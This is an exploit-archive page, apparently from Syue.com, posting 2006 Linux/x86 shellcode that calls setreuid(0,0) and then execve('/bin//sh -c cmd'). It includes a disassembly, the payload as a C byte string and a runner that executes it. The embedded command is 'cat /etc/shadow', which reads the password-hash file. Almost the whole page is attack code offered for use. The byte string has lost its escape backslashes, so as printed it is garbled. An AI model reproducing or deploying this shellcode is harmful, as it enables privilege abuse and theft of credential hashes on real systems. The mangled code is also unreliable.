[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 executes command after setreuid (9 + 40 bytes + cmd)
# Published : 2006-08-02
# Author : bunker
# Previous Title : win64 (URLDownloadToFileA) download and execute 218+ bytes
# Next Title : solaris/sparc connect-back (with XNOR encoded session) 600 bytes
/*
* bunker_exec.c V1.3 - Tue Mar 21 22:50:18 CET 2006
*
* Linux/x86 bytecode that executes command after setreuid
* (9 + 40 bytes + cmd)
*
* setreuid(0, 0) + execve("/bin//sh", ["/bin//sh","-c","cmd"], NULL);
*
* "cmd" MUST be terminated with ";" (better with ";exit;" :-D)
*
* bunker - http://rawlab.mindcreations.com
* 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
*
* setreuid(0, 0);
* 00000000 6a46 push byte +0x46
* 00000002 58 pop eax
* 00000003 31db xor ebx,ebx
* 00000005 31c9 xor ecx,ecx
* 00000007 cd80 int 0x80
*
* execve("/bin//sh", ["/bin//sh", "-c", "cmd"], NULL);
* 00000009 eb21 jmp short 0x2c
* 0000000b 5f pop edi
* 0000000c 6a0b push byte +0xb
* 0000000e 58 pop eax
* 0000000f 99 cdq
* 00000010 52 push edx
* 00000011 66682d63 push word 0x632d
* 00000015 89e6 mov esi,esp
* 00000017 52 push edx
* 00000018 682f2f7368 push dword 0x68732f2f
* 0000001d 682f62696e push dword 0x6e69622f
* 00000022 89e3 mov ebx,esp
* 00000024 52 push edx
* 00000025 57 push edi
* 00000026 56 push esi
* 00000027 53 push ebx
* 00000028 89e1 mov ecx,esp
* 0000002a cd80 int 0x80
* 0000002c e8daffffff call 0xb
* 00000031 .... "cmd; exit;"
*/
char sc[]=
"x6ax46x58x31xdbx31xc9xcdx80xebx21x5fx6ax0bx58x99"
"x52x66x68x2dx63x89xe6x52x68x2fx2fx73x68x68x2fx62"
"x69x6ex89xe3x52x57x56x53x89xe1xcdx80xe8xdaxffxffxff"
"cat /etc/shadow; exit;";
main() { int(*f)()=(int(*)())sc;f(); }
// www.Syue.com [2006-08-02]